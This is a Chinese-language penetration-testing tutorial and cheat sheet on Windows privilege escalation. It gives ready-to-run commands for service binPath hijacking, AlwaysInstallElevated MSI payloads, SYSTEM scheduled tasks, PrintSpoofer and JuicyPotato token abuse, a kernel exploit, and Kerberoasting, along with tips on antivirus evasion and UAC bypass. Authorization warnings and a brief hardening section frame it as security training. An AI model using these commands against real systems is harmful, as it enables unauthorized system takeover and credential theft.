1. Windows权限管理核心概念解析

在Windows操作系统中，权限管理是系统安全的基础架构。每个进程和用户账户都被分配了特定的安全标识符(SID)，系统通过访问控制列表(ACL)来管理资源访问权限。理解以下几个核心概念是进行权限提升操作的前提：

• 用户账户控制(UAC)：Vista之后引入的安全机制，默认情况下即使管理员账户也会以标准用户权限运行程序
• 访问令牌(Token)：包含用户身份和特权信息的安全对象，分为主令牌和模拟令牌
• 完整性级别(IL)：从低到高分为Untrusted、Low、Medium、High、System五个等级
• 特权(Privilege)：如SeDebugPrivilege、SeImpersonatePrivilege等特殊操作权限

注意：在渗透测试中，只有获得合法授权的情况下才能进行权限提升操作，未经授权的系统入侵属于违法行为。

2. 常见权限提升路径分析

2.1 系统服务漏洞利用

Windows服务如果配置不当（如以SYSTEM权限运行但存在可写目录），可能成为提权突破口。关键检查命令：

# 查看服务配置信息 wmic service get name,displayname,pathname,startmode | findstr /i "auto" # 检查服务二进制文件权限 icacls "C:\path\to\service.exe"

2.2 计划任务提权

错误配置的计划任务可能允许普通用户替换执行文件：

schtasks /query /fo LIST /v powershell "Get-ScheduledTask | Where-Object {$_.State -ne 'Disabled'} | Select-Object TaskName,Author,Actions"

2.3 注册表键值弱权限

某些关键注册表项的错误权限设置可能导致提权：

reg query HKLM\SOFTWARE /s /f "Everyone" /t REG_SZ reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

3. 实用提权命令手册

3.1 基础信息收集命令

# 系统信息 systeminfo # 用户和组信息 net user net localgroup administrators # 网络配置 ipconfig /all arp -a # 进程列表 tasklist /svc # 安装的补丁 wmic qfe list brief

3.2 权限检查工具

whoami /priv whoami /groups accesschk.exe -uwcqv "Authenticated Users" * subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE" /display

3.3 常见提权利用命令

# 利用MSI安装程序提权（需AlwaysInstallElevated启用） msiexec /quiet /qn /i C:\temp\payload.msi # 利用服务路径漏洞 sc config "VulnerableService" binPath= "C:\temp\payload.exe" sc start "VulnerableService" # 利用计划任务 schtasks /create /tn "UpdateTask" /tr "C:\temp\payload.exe" /sc once /st 00:00 /ru SYSTEM schtasks /run /tn "UpdateTask"

4. 权限提升防御方案

4.1 系统加固措施

• 定期审核服务账户权限配置
• 禁用不必要的系统特权（如SeDebugPrivilege）
• 配置适当的UAC策略（建议设置为"始终通知"）
• 启用LSA保护防止凭据转储

4.2 安全监控建议

# 监控敏感注册表项变更 reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 1 /f # 审核服务安装事件 auditpol /set /subcategory:"Service Installation" /success:enable /failure:enable

5. 实战案例与排错指南

5.1 典型提权场景复现

案例1：服务路径劫持

1. 发现以SYSTEM运行的服务存在可写路径
2. 生成恶意payload.exe并替换原文件
3. 重启服务或等待服务自动重启
4. 获取SYSTEM权限shell

案例2：AlwaysInstallElevated利用

1. 检查注册表项是否启用
2. 制作包含后门的MSI安装包
3. 通过msiexec执行安装
4. 获取高权限会话

5.2 常见错误排查

• 错误1："访问被拒绝"

  • 检查当前用户是否具有目标资源修改权限
  • 尝试使用icacls查看详细ACL信息

• 错误2：UAC拦截提权操作

  • 确认是否已绕过UAC（如通过COM劫持）
  • 尝试使用不同提权技术组合

• 错误3：防病毒软件拦截

  • 使用混淆技术规避检测
  • 尝试使用白名单程序（如msbuild）执行代码

6. 高级提权技术延伸

6.1 令牌模拟攻击

当获得SeImpersonatePrivilege权限时：

# 使用PrintSpoofer工具 .\PrintSpoofer.exe -c "C:\temp\payload.exe" # RottenPotato变种利用 .\JuicyPotato.exe -l 1337 -p C:\temp\payload.exe -t *

6.2 内核漏洞利用

针对特定Windows版本的内核提权：

# 检查系统补丁情况 wmic qfe list | findstr "KB5005033 KB5005565" # 使用预编译的漏洞利用程序 .\CVE-2021-36934.exe

6.3 域环境提权技术

在Active Directory环境中的特殊提权方法：

# Kerberoasting攻击 .\Rubeus.exe kerberoast /outfile:hashes.txt # AS-REP Roasting攻击 Get-DomainUser -PreauthNotRequired | Invoke-ASREPRoast

重要提示：所有提权技术都应在合法授权的测试环境中使用，实际渗透测试前必须获得书面授权，并遵守当地法律法规。